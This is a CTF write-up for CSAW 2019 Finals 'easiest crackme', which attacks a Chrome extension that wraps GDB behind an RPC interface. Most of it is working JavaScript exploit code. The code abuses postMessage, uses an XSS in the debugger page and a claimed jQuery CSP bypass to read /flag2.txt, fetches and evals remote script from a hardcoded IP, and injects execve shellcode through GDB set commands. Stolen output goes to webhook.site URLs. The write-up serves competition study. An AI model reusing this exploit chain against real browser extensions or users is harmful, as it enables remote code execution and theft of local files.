CSAW CTF Finals 2019 - easiest crackme - Web (100,300,300 pt)

easiest crackme
Web - 100pt
http://crackme.web.chal.csaw.io/
http://crackme.web.chal.csaw.io/visit

This was a neat challenge from CSAW CTF Finals. When visiting the / endpoint for the first time, we are prompted to download and install a chrome extension.

We start looking through the extension source code, and we realize that it essentially acts as a RPC service to execute and debug binaries with GDB.

At the same time, we are looking at the website, and see that it is sending RPC commands to the extension to run and debug the binary.

Our payload for challenge one needs to do the following:

  1. send message to iframe with start RPC with argument web2hard
  2. send run RPC
  3. listen for result of run RPC, and send it back to us
var frame = window.frames[0];
window.addEventListener("message", function(event) {
        console.log("received msg");
        console.log(event.data);

        if(event.data.output){
                fetch('https://webhook.site/1bd4c907-244e-48a8-b2e4-4a6d3906f0c1/'+btoa(event.data.output));
        }
});

function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
}

async function payload() {
        await sleep(1000);
        frame.postMessage({type: "status", id: 0, from: "page"}, "*");
        await sleep(1000);
        frame.postMessage({type: "start", id: 0, from: "page", args: ["web2hard"]}, "*");
        await sleep(1000);
        frame.postMessage({type: "run", id: 0, from: "page"}, "*");
        await sleep(1000);
}

payload();

Part 2

To read /flag2.txt inside the extension, we realize that there must be an XSS somewhere inside the extension. There is a debugger page, which we can navigate the user to via the open_debugger RPC. The XSS in the debugger page occurs when registers are loaded. It checks to see if any registers are pointers to strings, and if so, loads the string and inserts it into the page without escaping it.

To activate our XSS, we need to find a breakpoint in the binary where our arg1 is in a register, run it, then open the debugger.

However... our last problem is, how do we exfiltrate our data?

Our payload for challenge 2 does the following:

  1. start debugging the binary with arg1 being our XSS
  2. set a break point at *main +69
  3. run the binary
  4. navigate to the debugger page
  5. our XSS gets triggered, and it fetches /flag2.txt and sends it back to us

One interesting part here, is that we weren't sure how exactly to go about step 5 at first. Because, the extension has the CSP set to script-src 'self' 'unsafe-eval'; object-src 'self', which shouldn't allow unsafe-inline <script> tags. However, due to a quirk of jQuery, the CSP gets bypassed.

var frame = window.frames[0];

function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
}

var xss = `<script>fetch('/flag2.txt').then(r=>r.text()).then(r=>{fetch('https://webhook.site/1bd4c907-244e-48a8-b2e4-4a6d3906f0c1/'+btoa(r))});</script>`;

async function payload() {
        await sleep(1000);
        frame.postMessage({type: "status", id: 0, from: "page"}, "*");
        await sleep(1000);
        frame.postMessage({type: "start", id: 0, from: "page", args: [xss]}, "*");
        await sleep(1000);
        frame.postMessage({type: "breakpoint", id: 0, from: "page", addr: "*main+69"}, "*");
        await sleep(1000);
        frame.postMessage({type: "run", id: 0, from: "page"}, "*");
        await sleep(1000);
        frame.postMessage({type: "open_debugger", id: 0, from: "page"}, "*");
        await sleep(1000);
}

payload();

Part 3

We need to execute /flag3 on the target's machine

  1. Now that we have an XSS on the debugger page, we can leverage this to execute other previously inaccessible RPC calls.
  2. We can use the set RPC (disguised as flavor) to execute the set command in GDB (set anything in process memory)
  3. We use a sequence of set commands to inject execve shellcode into the process, then execute it
var frame = window.frames[0];
window.addEventListener("message", function(event) {
        console.log("received msg");
        console.log(event.data);
});

function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
}

var xss = `<script>fetch('http://167.172.227.219/debug.php').then(r=>r.text()).then(r=>eval(r));</script>`

async function payload() {
        frame.postMessage({type: "status", id: 0, from: "page"}, "*");
        await sleep(1000);
        frame.postMessage({type: "start", id: 0, from: "page", args: [xss]}, "*");
        await sleep(1000);
        frame.postMessage({type: "breakpoint", id: 0, from: "page", addr: "*main+69"}, "*");
        await sleep(500);
        frame.postMessage({type: "run", id: 0, from: "page"}, "*");
        await sleep(500);
        frame.postMessage({type: "open_debugger", id: 0, from: "page"}, "*");
}

payload();var frame = window.frames[0];
window.addEventListener("message", function(event) {
        console.log("received msg");
        console.log(event.data);
});

function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
}

var xss = `<script>fetch('http://167.172.227.219/debug.js').then(r=>r.text()).then(r=>eval(r));</script>`

async function payload() {
        frame.postMessage({type: "status", id: 0, from: "page"}, "*");
        await sleep(1000);
        frame.postMessage({type: "start", id: 0, from: "page", args: [xss]}, "*");
        await sleep(1000);
        frame.postMessage({type: "breakpoint", id: 0, from: "page", addr: "*main+69"}, "*");
        await sleep(500);
        frame.postMessage({type: "run", id: 0, from: "page"}, "*");
        await sleep(500);
        frame.postMessage({type: "open_debugger", id: 0, from: "page"}, "*");
}

payload();
var sets = ['{int}(*main+76)=2572696426','{int}(*main+80)=1647295304','{int}(*main+84)=1932488297','{int}(*main+88)=1213399144','{int}(*main+92)=761849737','{int}(*main+96)=1207959651','{int}(*main+100)=3897747081','{int}(*main+104)=11','{int}(*main+108)=1634493999','{int}(*main+112)=1697526631','{int}(*main+116)=1442866552','{int}(*main+120)=3867756631','{int}(*main+124)=4294903055'];

fetch('http://webhook.site/f365e4a6-c649-42e2-bd8f-edf9cd71ad7c/visit');
async function main() {
        for (var s of sets) {
                await send_message_to_backend({type: 'flavor', uid:uid, flavor: s});
        }
        var msg = await send_message_to_backend({type:'continue', uid:uid});
        fetch('http://webhook.site/f365e4a6-c649-42e2-bd8f-edf9cd71ad7c/'+btoa(msg.output));
}

main();